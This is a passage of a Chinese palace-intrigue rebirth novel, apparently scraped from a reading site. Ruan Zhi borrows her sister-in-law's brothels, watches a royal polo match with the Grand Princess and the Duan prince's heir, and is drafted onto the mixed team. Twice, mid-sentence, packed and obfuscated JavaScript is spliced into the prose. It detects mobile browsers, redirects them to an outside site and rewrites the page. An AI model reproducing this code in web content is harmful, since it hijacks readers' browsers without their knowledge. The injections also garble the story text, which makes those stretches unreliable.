正当阮栀犹豫着如何开口时,大嫂梅洛初善解人意地先开了口,“说吧,有何事找我?” 阮栀顿时有些脸热,“也无甚大事,就是想谢谢嫂子,昨日我去宋家您还帮我备了礼,大嫂待我真好!” 大嫂了然一笑,“我是你大嫂,这些本就是我该做的。可是遇着什么麻烦了?” 阮栀对上大嫂如母亲般爱怜又毫无芥蒂的美眸,霎时有了勇气,“我曾听娘说大嫂在京城有几家…几家…青…楼……” 那张隐秘的嫁妆单子大嫂是跟母亲报备过的,阮栀知晓也说得过去。 “是有两家。”梅洛初有些意外,并不藏着掖着,“阿栀提这个作甚?” 阮栀便把想请萧神医给三哥看病之事与大嫂说了。 “我是想,大嫂可否把青楼借我经营一段时日,作为青楼的东家,一切才好行事。”阮栀心中忐忑,大嫂重规矩,也不知她会如何看待她经营青楼这件事。 梅洛初讶异一瞬,但很快接受,“你是为了松哥儿,有何不可,只是我常年疏于管理,也就潇湘苑和玉宇楼还能在京城排得上号,你若不嫌弃,我便都交与你管!” “当真?” “自然!”梅洛初反倒放松下来,拿起一块糕点来吃,“你如今已及笄,也该好好学学管家理事了,母亲给你的嫁妆铺子我都帮你看顾着,早晚要交到你手上,不如我顺便从中挑几家铺子给你一起练手如何?” “嗯嗯,”阮栀点头,亲昵地凑近大嫂帮她揉腰,“娘亲在时总说大嫂是女中翘楚,我大嫂最最最好了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他是无用,然他从不离身的那瓶丹药确实出自云虚子。他行事狡诈,硬抢窃取都行不通,这次务必要在青楼留住他。” 墨隐恍然大悟,“属下明白了!” 祝玄曦面露疲态,朝他挥挥手,“下去吧。” “明日还有马球赛,世子还是早些休息才好。”此时已近四更,没有多少时间休息了,墨隐担忧地望向主子。 “我不上场,观赛时尽可休憩,我看看熹宁就走。” 目送墨隐离开,祝玄曦转身踏入枕云轩。 他在妹妹闺房门外站定,侧影投射在门框上,线条完美而冷峻。 春夜风软,他在门外驻足良久,直到里头平缓的呼吸声传来,他紧绷的背脊才逐渐放松下来。 “云虚子的药,定能解阿宁的毒。”他低声轻喃。 5. 第 5 章 大嫂做事一向爽利,没几日便将挑好的铺子和两家青楼的账簿交予阮栀,还特地拨了身边得用的管事丫鬟协助她。 前世做了一辈子永宁侯夫人,管家理事本就熟稔,不到半月阮栀便能上手了。 自知晓裴言澈也回来之后,阮栀开始频繁外出走动,经营铺子、参加各种花会文会、结交朋友,这些都是前世她没机会做的。 因着前世对裴言澈的行踪了如指掌,她避开了一切与他打照面的可能,那人,还是少见为妙。 前世丰英帝五十大寿之后,夺位之争即将放到明面上来,她知晓眼下安定的日子不会持续太久,她开始着手为阮家的未来做打算。 故而在姑姑阮韫青遣人来问她是否要与她一同跟着大长公主去看马球赛时,她欣然应下。 前世裴言澈辅佐的五皇子成了最后赢家,即便如此她和阮家还是为之付出了惨痛代价,那么这一世她选择远离裴言澈,想要保全阮氏一族势必需要一个更稳固的靠山。 如今丰国地位最高者除了皇帝便是大长公主祝清仪,她在皇家威望甚高,在民间亦是口碑极佳,丰英帝对她甚为敬重,皇子们轻易不敢得罪她。 驸马早逝,大长公主守寡至今,她为人清冷少言,除了姑姑阮韫青,她鲜少与人来往。 只有阮栀知晓,她清冷外表下有一颗柔善悲悯之心,前世皇子相争死了很多人,大长公主亦尽其所能庇护了很多人,特别是姑姑,正是因了大长公主的庇佑才免受阮家牵连。 故而今日她想尽可能入大长公主的眼。 马球赛当日一大早,阮栀便跟着姑姑到了皇家马球场,她记得近几日京郊要案频发,裴言澈忙着处理,无暇来看马球赛,因此心情放松。 今日马车到了横街就不让再进了,阮栀和姑姑只好下来步行。 横街人头攒动,两旁柳丝轻拂、旌旗飘扬,一派蓬勃之象。 前来观赛之人对横街两旁的园林、台榭赞叹连连,皇家气派到底还是中原大国格高意远。 当然,也不乏不同的声音。 “哼,别看表面气派,你们走近仔细瞧瞧,那些殿宇内里早就破败不堪,值钱的宝贝早就被扫光了,我父王那里就有不少……” 清脆的女声在嘈杂中极有辨识度,阮栀觉得像胡琴,干净脆亮,只是汉语不太标准,失了些美感。 她循声望去,就见一熟悉面孔,是林胡公主萨雅,前世裴言澈的一大爱慕者,前世她们很不对付。 如今没了前世成见,阮栀不禁摇头失笑,林胡公主此时所言倒也不假。 “有人在等我们了。”姑姑并不愿在人群里过多停留,拉着她加快脚步,朝南殿行去。 不远处的林胡公主瞧着阮栀的背影,眉毛扬起,她方才分明瞧见她摇头笑她了,她转头吩咐身边仆从“去查查她是谁?” 宝锦楼门口,等候多时的太监已上前两步迎接,很快将她们姑侄二人引上二楼。 二楼是皇宫贵族们的包厢,太监在正对球场中央右侧的隔间停下,请他们入内,“夫人小姐在此用些茶点,大长公主随后便来。” 阮栀谢过太监,扶着姑姑在桌边坐下。 姑姑阮韫青是大长公主多年的闺中密友,交情甚笃,由姑姑引荐最合适不过。 约摸半个时辰后,大长公主驾到,阮栀跟着姑姑上前见礼。 “这是栀丫头?”大长公主声音清浅平和,听不出语气。 “是。” 姑姑阮韫青笑着示意阮栀上前。 阮栀前世从未见过大长公主,此时对这位传闻中的皇家贵女很是好奇。 她上前再次屈膝行礼,下巴微扬,朝大长公主粲然一笑。 阮栀在京城女子中算身材高挑的,此刻她却发现大长公主还要高出她半个头,她几乎未施粉黛,素雅恬淡中透出一股飒然之气,听闻当年战时大长公主与兄弟们是一同冲锋陷阵的,今日一见她不由心生钦慕。 大长公主似被她的笑容感染,细细打量她一番,眸光清浅依旧却透了善意,她示意她与自己同坐,“不必拘礼。” 这时外面传来鼓声,宝锦楼东侧三丈远的高台上一阵骚动,是丰英帝圣驾到了。 有太监唱声起,阮栀随众人一同走向凉台,朝天子方向伏地叩拜。 前世丰英帝在朝贺之后没多久便病倒了,有传言说他是中了慢性毒药。 阮栀起身后好奇地望向高台之上的丰英帝,他身形瘦高,此时略有些佝偻,颓相明显,她试图看清他的面容,奈何相隔还是有些距离,并看不真切。 直视天颜乃大不敬,阮栀仗着有些距离并未遮掩,不想却被皇帝身边的一双眸子捕获,她余光触碰到向她投来略带犀利的目光,心脏一收,立刻垂首掩饰,待众人坐下后才以帕掩饰,悄悄朝那个方向看去。 丰英帝身边有两人,左侧是当今太子祝弘,前世她见过几次,太子暴戾,弑父杀弟,但这是在他最宠爱的魏良娣被刺死之后,此时魏良娣尚在,太子还是温和宽厚的,断不会有这种眼神。 右侧之人在三人中最为高挑惹眼,他姿态闲散,双臂交叉环胸而立,丝毫没有伴驾的端肃之态,皇帝见状也不恼,似乎对他极为宽容。 那人阮栀不曾见过,但光凭他出众的外表倒不难猜测其身份,鹤骨松姿,世无其二,传言非虚,是端王世子祝玄曦无疑。 阮栀不禁疑惑,他们前世并无交集,且传闻中的端王世子轻世肆志,怎会对她有这等犀利眼神?还是她太过敏感了? 不及她细想,丰英帝一声令下,下方的马球赛开始了,阮栀按下心中波动,随众人一起将目光转向赛场。 今日比赛丰国队对阵由十多个小国组成的邦国队,共分三场,三局两胜。 丰国男子马球队由新一代骑兵和皇室宗亲中善骑射的儿郎们组成,装备精良、实力强劲,对战邦国队不在话下。 比赛开始,包厢及各处看台助威呐喊声不断,丰国子民都乐于见到眼前展示大国雄风的场面。 不到半盏茶功夫,丰国队一方已插上了三面红旗。 这时外面廊道一阵骚动,是丰英帝带着一众使节们来到包厢观看比赛了。 早有宫人前来知会不必跪拜行礼,但丰英帝经过时众人还是纷纷起身,阮栀这次老实了,站在姑姑身后,低眉敛目,再不敢多看。 待众人的视线再次回到赛场,却惊讶发现此时的比分到了五比七,邦国队不知不觉间反超两分。 比赛率先入十一球者为胜,人们习惯了丰国大比分领先横扫千军,惊诧之余不由捏了一把汗。 五比八,五比九,五比十……阮栀有些不忍心看了。 连丢数分的丰国队陷入了前所未有的紧张状态,球手们使出浑身解数死死咬住比分并试图进球,然而越努力越徒劳,因为太过紧张反而接连出现失误。 眼看着对方又要进球,一位丰国球手奋力拦截,因动作过猛,直接从马上摔了出去。 今日是十人对十人的大比赛,场上人马众多,一旦落马,非死即伤。 随着众人一声惊呼,就见那球手落了地。 “哎哟,是五皇子!”有眼尖的太监喊出了声。 “瑀儿!” 隔壁包厢一个女声惊叫起来,阮栀很容易辨识出是淑妃,五皇子生母,如今的六宫之首。 五皇子身手还算敏捷,几个翻滚出了马蹄密集之地,然而他刚想起身,就见他右后侧一匹黑马嘶鸣着奔来,马主人虽已极力拉住缰绳,奈何距离太近,马前蹄高高扬起,堪堪就要落到五皇子身上。 惊呼声此起彼伏,千钧一发之时,就见隔壁凉台上闪过一道颀长身影,那人大喝一声:“别动!” 正连滚带爬试图躲避的五皇子闻言立刻停住,身子蜷缩在原地抱成一团。 阮栀呼吸都要停住了,前世的天命之子就要命丧于此了吗? “啪嗒,啪嗒……” 偌大的马球场安静得落针可闻,黑马的前蹄越过五皇子,在离他的身体不到三寸的地方落下,这时马上之人也完全勒停了马。 丰国队两名球员迅速下马,将黑马身下颤抖不已的五皇子拉了出来。 “派太医去看看,”丰英帝吩咐完,转而安抚身边的淑妃,“澜儿莫怕,瑀儿没事,亏得弗恃眼神好!” 弗恃是端王世子的字,“为而弗恃,功成而弗居也”,据说是他出生那年一位老道士早早就取下的。 方才那一声大喝便出自端王世子,他眼神着实厉害,稍有偏差五皇子就没命了。 当然也是五皇子运气好,他前世便是如此,听劝且好运,一路无恙登上了兄弟们拼死得不到的皇位。 随着五皇子被关切的人群强行按上担架抬了出去,赛场上陷入尴尬,丰国队球嚢静静躺着一个球,正是五皇子差点丢了命依旧拦截失败的那个。 显而易见,邦国队率先拿下第一局。 四下一时安静,宣布结果的铜锣声并未响起,各邦国的观众们神情雀跃却不敢出声,众人不约而同望向中央包厢皇帝所在的方向。 阮栀只听得隔壁桌椅挪动的声音,淑妃急着去看五皇子,丰英帝轻声安慰着也起身同去,丢下一句“输了朕可唯你是问。” 眼看着帝妃二人和太子的身影从门口一闪而过,阮栀这才确信那句没头没尾的话是留给端王世子的。 皇帝离场,场上判员得到示意,“锵”地一声敲响铜锣,“第一局,邦国队胜。” 圣驾离去,周边包厢里的邦国贵族们再不收敛,欢呼出声。 “丰国队穷得骑兵都养不起了,剩下一群纨绔怎能与我们自小生活在马背上的勇士们相比……”林胡公主的声音从附近某个包厢里传出来,很有辨识度。 丰国人闻言自是不悦,不过方才那局属实有些丢脸,不到两刻钟的时间就大比分输了一局,还差点赔上个得宠的皇子。 不过此时不是呈口舌之快的时候,球场定胜负,很快鸣锣声起,第二局开始。 邦国队先胜一局,正是气势如虹之时,高头大马迅若流电,鞠杖在空中翻飞,他们铆足了劲儿,连进三球,开场就把丰国队打懵了,观赛之人都忘了出声。 “弗恃,过来坐吧。”大长公主淡定扫一眼隔壁,轻轻唤了一声。 包厢由屏风隔断,不隔音。 然而隔壁一时没有回应,只听太监的声音轻声在唤“世子,世子醒醒……” 这是睡着了? 须臾,一个群青色身影才缓缓步入包厢,朝大长公主躬身行礼。 同样起身见礼的阮栀偷偷用余光瞧他,不得不感叹,这位传说中的端王世子当真是绝世风姿! 眼前其人形容举止不拘形迹,有飘逸出尘之感,行礼时眼神柔和,不难看出他对大长公主的尊敬。 只是回身落座之后,他的眼里只剩冷倦。 阮栀前世与这位端王世子仅有一面之缘,更确切地说她只见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875716|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过他的背影。 那是她嫁给裴言澈的第二年,宁安郡主去世,她随裴言澈去端王府参加丧礼。 端王夫妇育有一子一女,宁安郡主祝熹宁便是端王世子的亲妹妹。 宁安郡主是受辱自戕而死,对端王一家打击巨大。 阮栀至今还清晰记得丧礼上那一闪而逝的男子背影,那样的孤傲卓绝,让她一个旁观者都不由心痛唏嘘,历经一世,同样经历过至亲手足的惨死,她更能体会他那时的心情。 不过此时一切尚好,他便已如此厌世了吗? 杯盏轻触的声音,大长公主轻啜一口茶,看向端王世子的眼里有一丝怜惜,“皇帝既然把事情交予你,总要上点心。” 端王世子本来支着手臂又要睡,此时闻言顿了顿,慢慢坐直身子,他朝赛马场看了片刻,此时比分是五比八,丰国队落后三球。 青玉扳指扣在黄花梨木扶手上,随侍太监应声凑近,端王世子与他耳语两句,太监得令小跑着出去了。 很快场下丰国队叫了暂停,几位体力不支的贵族子弟被换下,换上了四皇子和三个骑兵。 再次开场,丰国队观众仗着人多的主场优势,开始有组织地欢呼鼓劲,一波接一波如浪涛般,听来振奋非常。 注入新鲜血液的丰国队一扫之前颓势,一上场便提了马速,积极进攻,鞠球在空中翻飞,似长了翅膀,骤马疾风间直冲球门而去。 丰国队的水平本就远高于邦国队,经过调整之后很快进入状态,接下来的比赛,丰国队只让邦国队入了一球,很快便以十一比九获胜。 到了决胜的第三局,丰国队一鼓作气,迅速打出一个七比一的小高潮。 此时胜利在望,附近包厢早就看不惯林胡公主的丰国女眷们开始了回击,“这就是马背上的勇士?也不过如此嘛!” “我看是生在马背上,输也在马背上……” 笑声四起,赞同之人不少。 林胡公主自是恼羞成怒,“哼,可别得意太早,还没赢呢,瞧瞧,我们的勇士又进球了!” 邦国队的球手们体格都要比丰国队健硕不少,在拦球和进攻方面有先天优势,此时见丰国队要赢开始各种小动作不断,挥起的球杖不是抢球而是偏过一些朝马蹄而去,防守之人也开始刻意引导马匹之间的轻微碰撞。 “真恶心!”有丰国人喊了一声,周围一片倒彩声。 不过场上的丰国队并未受影响,四皇子加入之后的球队仿若有了主心骨,在他的指挥下,球员之间配合无间,用灵活娴熟的技巧躲过了邦国大汉们的阻挠,不断扩大优势连续进球。 外头欢呼声、叫骂、争吵声不断,阮栀所在的包厢却安静无比。 端王世子瞌睡劲过了,气定神闲看着下方比赛;大长公主和姑姑皆是寡言之人,两人惬意品茶、淡定观战,丝毫不为战局所动;只有阮栀会不时因战局而激动,或握拳或惊呼,两位长辈含笑不语,而端王世子似乎扫过她几眼,她似有所觉,但心系比赛无暇多想。 这样精彩的马球赛她不知错过凡几,她骑术不差,只可惜没机会打过马球,此时遗憾、激动交织。 终于,在一刻钟之后,丰国队再没给机会,一波强攻拿下最后一分,全场欢呼声一浪盖过一浪。 “锵!” “丰国胜!” “胜了,胜了!”阮栀再按捺不住兴奋,跟着欢呼,两位长辈笑盈盈看着她,唯独端王世子无甚表情。 “今日头功本宫定要讨了给你,这布局当真不能再优了!”丰国队获胜,大长公主也难得有了笑意,朝着端王世子说道。 “自是他们配合默契。”祝弗恃脸上并无喜色,仿若只是草草交差之事,无甚大不了的。 “小四不错。”大长公主眼神追随着场上纵马与队友庆祝的四皇子,若有所思。 祝弗恃闻言扫了四皇子一眼,“的确。” 比赛结束,多数人沉浸在赢球的欢乐中,当然,以林胡公主为首的朝贡小国贵族们的不忿也达到了顶峰。 “都是他们中途换人扰乱了打球节奏……” “就是,三局两胜不够看,我看五局三胜才更公平!” 丰国人听不下去了,“确定再加两局你们就能赢?怕是输不起吧!” 林胡公主冷笑一声:“男队再比两场自然无甚意思,听闻你们丰国女子马球队亦是所向披靡,正好我们林胡国的女子也个个都是马球好手,不如再加赛两场,女子一场,男女混合一场,如此五局三胜,才能充分展示各国实力不是?” 再战两局的提议很快传开,得到了更多人的响应。 邦国人自是愿意加赛,而许多不知内情的丰国人也跟着赞同,“战就战,一帮戎狄,有甚好怕的!” 原本准备离场之人也都停下脚步观望,看是否会加赛。 这可难住了主办赛事的官员们,此时圣驾已离开,他们可不想跑去皇帝面前找没趣,赢就罢了,万一输了…… 主办官急得一脑门子汗,有下属凑近给他出主意,他眼睛一亮,忙去找送完五皇子归来的太子殿下。 太子祝弘送走圣驾便留在室外看台观赛,闻言一贯的笑容温煦,“父皇将比赛交给弗恃,你请他示下便可。” 主办官如蒙大赦,健步如飞奔向宝锦楼。 包厢众人也未离去,给飞奔上楼的主办官让出一条道来,主办官一个飞扑便伏地跪在了包厢门口,“是否加赛,还请世子示下。” 6. 第 6 章 “请世子示下!” 主办官恨不能将整个身子与地面贴合,一时间,包厢内外的目光都聚集在了端王世子身上。 阮栀自然不会放过这个明目张胆打量他的机会,然而他眼神疏淡乏倦,好似这一切与他都毫不相干。 这些时日阮栀对丰国女子马球队的情况有了更多了解,其实没有经费还能勉强克服,淑妃对女子地位的打压才是女队发展的最大阻碍。 女队由皇室女眷、官家小姐和一些女兵组成,淑妃上位之后就把女兵遣散回乡,美其名曰“回归家庭、助力农耕”,皇室女眷大多不愿得罪淑妃,很快退出,剩下的官家小姐们生怕一个不慎被冠上“只知抛头露面玩乐,不知民间疾苦”的名声,时日一长也纷纷离了队。 再之后进来的多是些权臣勋贵家的小姐亦或是贵人们得脸的宠妾们,她们倒不在意名声,时常自掏腰包,权当消遣玩乐。 宋景烟这个光杆儿队长成日里忙着与一帮蛮横贵女宠妾们斗法,根本无暇练球,更别提团队协作打比赛了。 这些在皇室高官们之间不是秘密,但丰国百姓并不知晓,还以为是当年大长公主带领下的巾帼强队。 今日丰国若是应了比赛,恐怕要输。 “世子?” 见端王世子良久没有回应,主办官抬头提醒。 祝弗恃掀起眼皮淡淡扫了一眼球场,指尖抚过茶盏上凝结的霜花。 那些不明就里且意犹未尽的观众都在等候,几乎无人离场。 “都想看,加便是了。”声线清润,却似冰裂纹隙里沁凉的雪水。 此话一出,就连雍容不迫的大长公主嘴角都是一抽。 阮栀惊得瞪大了眼睛,这事推脱起来不难,可一旦应了,毕竟是关乎丰国颜面之事,还是说……他对这一切都无所谓? 她忍不住担忧起来,这下宋景烟怕是要疯! “是,是!”主办官反应过来,生怕他会反悔一般,动作迅速连滚带爬地退了出去。 宋景烟当真疯了,主办官在高台上刚宣布完此事,就听包厢外楼梯上“咚咚咚咚”一阵急促的脚步声。 门口出现宋景烟满头是汗的脸,她见到大长公主微愣了一下,顾不得礼数,胡乱屈了屈膝,压低声音朝端王世子道:“是世子您答应的?可我们连一支像样的队伍都凑不齐,如何比?” 祝弗恃此时略显疲态,阮栀注意到他眼下蒙了一层淡淡的青气。 “五人小队便能比。”他仿佛在说一件稀松平常之事。 宋景烟又急又气,可又顾着丰国的脸面,毕竟周围好多邦国人伸长脖子听着呢,她拧眉思索片刻,又斜一眼祝弗恃,一跺脚转身离开了。 大长公主转头吩咐身后的管事方嬷嬷,“跟过去,看可否有帮得上的……” “奴婢晓得。” 看着方嬷嬷离去的背影,阮栀在心中默默替宋景烟盘算起来:五人小队兴许真可以,前两年大长公主给宋景烟推荐过两人,一位是秦相的嫡孙女秦时雨,另一位是太医院沈院使长女沈洛攸,都已经被宋景烟带起来了,他们互相配合得很不错,如此再从一众贵女里头挑两个球技稍好些的,应该不至于输得太难看。 不到两刻钟,在观众的欢呼声中,女队双方上场了。 不出所料,丰国队上场的是宋景烟、秦时雨和沈洛攸,另两位妆容艳丽些的,阮栀大致能猜出身份,宋景烟跟她提过,太子新晋的两位宠妾近些时日十分热衷打马球,且都是骄横无礼、又菜又爱玩的主儿。 阮栀看向留在宝锦楼外看台上心情愉悦的太子,明白了这两位的出场缘由。 可怜的宋景烟,阮栀暗自为她心疼,不自觉叹出一口气。 “输了也不要紧,合该让大家看看如今女子队的水准,若不想女子抛头露面,撤了便是。”大长公主并不掩饰对淑妃理念的不满。 比赛开始,面对由林胡公主等一众小国贵族女子精英们组成邦国女队,宋景烟的战术十分明确,便是趁太子宠妾二人组还未来得及作妖前多进几个球,免得后续比分太过难看。 宋、秦、沈三人配合默契,接连进球,很快打出一个六比二的小高潮。 面对对方凌厉的攻势,林胡公主冷笑一声,果断叫了暂停。 然而正当邦国队忙着商讨调整战术之时,领先的丰国队却在场下吵了起来。 太子宠妾二人组对着宋景烟大声嚷嚷,声音很大,阮栀在包厢里都听得见。 大概意思就是控诉宋景烟不带她们两个玩,她们也要进球。 宋景烟一张脸憋得通红,明显是在极力克制自己的情绪,她此时也顾不得丢脸了,用盖过她俩的声音道:“场上必须听我指挥,有你们进球的时候。” 宠妾二人组这才消停下来,在锣声响起后再次上场。 邦国队经过调整,上来就专门防住宋、秦、沈三人,邦国女子在马上本就凶悍,宋景烟几人一时脱不了身,眼睁睁看着邦国队连续进球。 眼看六比六被追平,宋景烟并不放弃,想尽一切办法摆脱对方钳制,正当双方队员纠缠之际,无人防守的宠妾甲拿到了球。 阮栀隐隐感觉不妙。 得了球的宠妾甲如同脱缰野马,丝毫不讲配合,自顾自往球门狂奔而去。 此时无人拦截,抛开准头不说,她只要速度够快,进球还是有可能的。 林胡公主催促队友去追,宋景烟见状指挥着秦、沈二人反过来拦住对手们,试图帮宠妾甲争取进球的机会。 可惜千防万防,对手是防住了,唯独忽略了宠妾乙。 同为宠妾,没有谁能高出一头。 这是宠妾乙此刻的心声,她不甘示弱,催马朝着宠妾甲飞驰而去,试图去抢她杖下之球。 宠妾甲早被即将进球的喜悦冲昏了头脑,击球前进的同时还不忘朝看台上太子的方向妩媚一笑。 便是这一瞬间,宠妾乙追了上来,她显然对自己的球技十分自信,右手持球杖朝前伸出勾球,左手拉住缰绳控制马头,然而因为追得急马速还未降下来,马头虽因缰绳的控制偏转了方向,整个马身却跟着惯性直直朝宠妾甲的马撞去。 “人仰马翻”不足以形容当下场面,宠妾二人组从各自马上飞了出去,尖叫声、马嘶声混杂。 最先赶到的宋景烟和沈洛攸二人下了马,分别查看两人的伤情。 宠妾甲摔得很重,一着地就一阵哭嚎,沈洛攸检查一番,朝着场外喊道:“怕是肩膀骨折了,快抬担架过来!” 另一边的宋景烟见宠妾乙还在挣扎着爬起来,怕有闪失忙上前阻止,可宠妾乙依旧执着进球,手里紧紧抓着球杖不放,她本能想甩开宋景烟的搀扶,然而忘记了挥起不是手而是球杖。 众人还未反应过来,球杖已重重朝宋景烟面门方向砸去。 这动作来得太快,阮栀惊得站了起来。 亏得宋景烟反应敏捷,侧头躲避,但还是被砸到了后背,她一身杏黄骑装隐隐渗出血色。 阮栀顿时坐不住了,她朝姑姑投去祈求的眼神,“我想去看看!” “去吧,方嬷嬷在那里,有任何需求都能与她说。”大长公主发了话。 阮栀躬身谢过大长公主,急急出了包厢。 场边此时乱成一锅粥,阮栀去哪都被拦着,直至瞧见了方嬷嬷,这才由她带着一路无碍到了球场边用于救治伤员的厢房,还未进去,就见包扎完毕的宋景烟由她的丫鬟含宝扶着走出来了。 “没事吧?”阮栀探身去瞧她的后背,杏黄骑装已经换下,此时已换上一件略带宽松的浅绿褙子,后背微微凸起一条,显是包扎好了。 “别担心,我没事,就是那俩蠢货!气死我了!”宋景烟气鼓鼓往外走,丝毫不避讳还躺在身后厢房里哀嚎的“俩蠢货”。 “小姐您慢些!”含宝面露急色,眼瞧着自家小姐推开她的搀扶就要往人多的球场走,她求援般看向阮栀,“姑娘快劝劝我家小姐吧,那球杖裂了,有竹刺扎进后背,稍一动就往外渗血。” 阮栀给含宝一个放心的眼神,追着宋景烟到了马球场边上。 “三位替补,能凑出来吗?”阮栀说出了宋景烟的心思。 宋景烟黯然摇头,能凑出五人小组已是不易,如今折了三位,怎可能凑得出来。 眼前混乱的球场被逐渐清理干净,林胡公主等人的嘲笑声时不时从远处传来,阮栀担忧地看向宋景烟,“那这一场……” “放心,端王世子已遣人传过话了,直接认输!”最后四个字宋景烟几乎是咬着牙说的,纵使不甘心,也知这决定没错,可心里就是气不过。 这回阮栀倒是不惊讶了,“认输”从端王世子口中说出来丝毫不违和,这决断恐怕在“人仰马翻”时就下了的。 如此一来比赛到了二比二平,就差最后一局定胜负了。 阮栀不知道下一场男女混合赛怎么比,看宋景烟神色犹豫着没问出口,宋景烟倒是说了出来,“下一场 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宋景烟转头看过来,突然伸手拍自己的脑袋,这一拍牵扯到了背后的伤口,她痛得一阵龇牙咧嘴,不过疼痛并未压过她此刻的欣喜,她双眸瞬间亮了起来,“哎呀我可真傻了,眼前不就有个现成的,阿栀你可以上啊!” 不待阮栀回应,宋景烟已经拉着她往宝锦楼走了,“我去求世子和大长公主,他们会答应的!” “可我从未打过马球啊!”阮栀生怕她用力又扯着伤口,只能乖乖跟着。 “哎呀你就骑马挥杆使劲儿往球嚢里捅便是,我记得你幼时射箭也厉害,准头这东西是相通的!信我,你上场,必定有戏!”宋景烟越说眼睛越亮,仿佛已经看到了胜利的曙光。 阮栀心里腹诽:击球进洞和射箭能一样?也太糊弄人了! 见她面露难色,宋景烟忽地一顿,“你该不会是怕得罪淑妃,因此嫁不出去吧?” 阮栀被逗笑,“那不至于。” 重活一世她才不要嫁人! 得罪淑妃?阮栀嘴角不可控制地上扬。 这一笑,心头豁然一亮,那点怪异和忐忑消失大半,她回头望一眼球场,方才被男子比赛的蓬勃朝气和拼搏热血所感染,前世被禁锢在后宅一辈子,她几乎忘了她也曾是无忧无虑驰骋马场的将门之女。 心中隐隐有一些悸动,似雨后新芽正破土而出。 两人包厢门口时,楼下林胡公主脆亮的嗓音再次飘了过来,“迟迟不比下一场,我瞧大丰是没人了,不如也直接认输!” 邦国人自然附和着大笑,跟着起哄。 包厢内大长公主脸色不太好看,面前跪了两位装扮华丽的女子,瑟瑟不敢出声。 “便是那群缩头乌龟中的两只,”宋景烟悄声在阮栀低耳边低语,“她们不上也罢,省得丢人,成日搔首弄姿,马都骑不稳……” 大长公主瞧见宋景烟有些惊讶,“你的伤没事了?” 宋景烟连忙屈膝见礼,“大长公主,景烟无甚大碍。” “不好好休息上来做什么?” 宋景烟压根不在意自己的伤,满脸堆笑推着阮栀上前,“景烟想举荐她上场!” “栀丫头?” 宋景烟用力点头,“阿栀骑术可厉害了,马球她也懂,只是不常打,她若上,必定胜过不少人。”说完还不忘白一眼跪着的两人。 大长公主面上微松,征询般望向姑姑阮韫青。 姑姑欠身含笑,“小时候皮得很,骑马男孩子都比不过她,只是自她母亲卧病在床之后便再也不玩了。” 大长公主明了,转头把问题抛给了端王世子,“弗恃觉得如何?” 一道审视的目光轻轻落在自己身上,没有裴言澈那种高傲的压迫感,但阮栀就是不敢与之对视。 “这要看本人的意愿。”他在征询她的意见。 阮栀被宋景烟的大言不惭弄得又紧张起来,感觉周身的血气正在往上涌,脸颊微烫。 前世种种如画卷般在眼前浮现,似乎是下意识地想摆脱心上的禁锢,她想尝试一切前世未做之事,这种感觉愈发强烈迫切。 见她不答,一旁的宋景烟急了,伸手捅她后腰。 阮栀缓缓抬眸,唇角微微扬起,目光执着坚定,“我尽力一试!” 祝弗恃眼中闪过一丝讶然,随即勾起唇角,好似瞧见了什么有趣的东西。 “既如此,试试也无妨。” 7. 第 7 章 阮栀换上一身水绿骑装,牵着宋景烟的马往球场走去。 “莫要紧张,咱们听四皇子指挥便是!”秦时雨和沈洛攸善解人意地靠过来,把马球规则再细细与她讲了一遍。 阮栀心中温暖,仔细记下。 他们在场边与男队员汇合,男队之一的温如峤与二哥是至交,如今是禁军副统领,阮栀自小熟识,他朝阮栀点头微笑,向她介绍身边两人,“这位是四皇子,这是徐百户。” 这二位阮栀自是知晓,四皇子祝滦与太子皆是先皇后所出,而徐百户则是先皇后的亲侄徐咸安。 阮栀展颜,一一见礼。 四皇子笑容爽朗真挚,与太子那种故作温和全然不同,他安排好了各自的排兵布阵,又将阮栀拉到一边认真教授握杆方法,并未对她这个全然新手假以辞色。 阮栀都有些不好意思,只好加倍认真地记下要点。 示意上场的鼓声响起,四皇子跃身上马,又回头宽慰一句,露出一口白牙,“放心上场体验一把,不必担心比分,那帮戎狄不足为惧。” 阮栀点头,就见全程缄口不语的徐咸安默默跟上四皇子,经过她身边时给了她一个漠然的眼神。 阮栀挑眉,抓起球杖跟着翻身上马。 马背上的视野让她心情舒畅,多数队友们的鼓励更令她倍感振奋,今日她只要上场,就是与前世截然不同的巨大改变,她如此行事便是想断了嫁给裴言澈的可能,淑妃和裴夫人绝不会让她这样的女子进裴家门的。 双方球员纵马鱼贯入场,等候多时的观众欢呼声震天。 不出所料的,对面传来林胡公主的嘲笑声,“哟,来了个娇怯的生面孔,球杖可拿得稳?” 林胡公主早就注意到阮栀,打听一番知晓她并不会马球更是得意万分。 “萨雅。”旁边男子适时提醒,林胡公主面露不屑,但还是停了笑声。 阮栀认出那是蒙国王子宗古,前世她跟林胡公主当街干架时见过,林胡王有意与蒙国结亲,无奈萨雅心系裴言澈,硬是拒了婚事,这宗古王子瞧着温和敦厚,似乎对萨雅有情,倒不失为良配。 双方队员站定,马场内外逐渐安静下来。 鸣锣声响,比赛开始。 由于速度和力量的悬殊,男女混合赛一般都是男子冲锋陷阵,女子在一旁辅助,邦国队率先抢到球,开始了强有力的进攻。 阮栀专注比赛,按照四皇子的安排努力保持队形,却不想一开始就遭到邦国三名女球员的围堵,她有些无语,球又不在她这处,堵她是为何? 在邦国队连进三球之后,萨雅接到球,没有传给自家队员,反倒是直接将球朝阮栀击去。 阮栀错愕,下意识挥杆去接,那本是极容易接的一球,但阮栀略带紧张,马速稍快了些,便生生错过了那球。 “哈!这都接不住,该不会是没打过马球吧!”萨雅生怕观众不知,大声嘲讽。 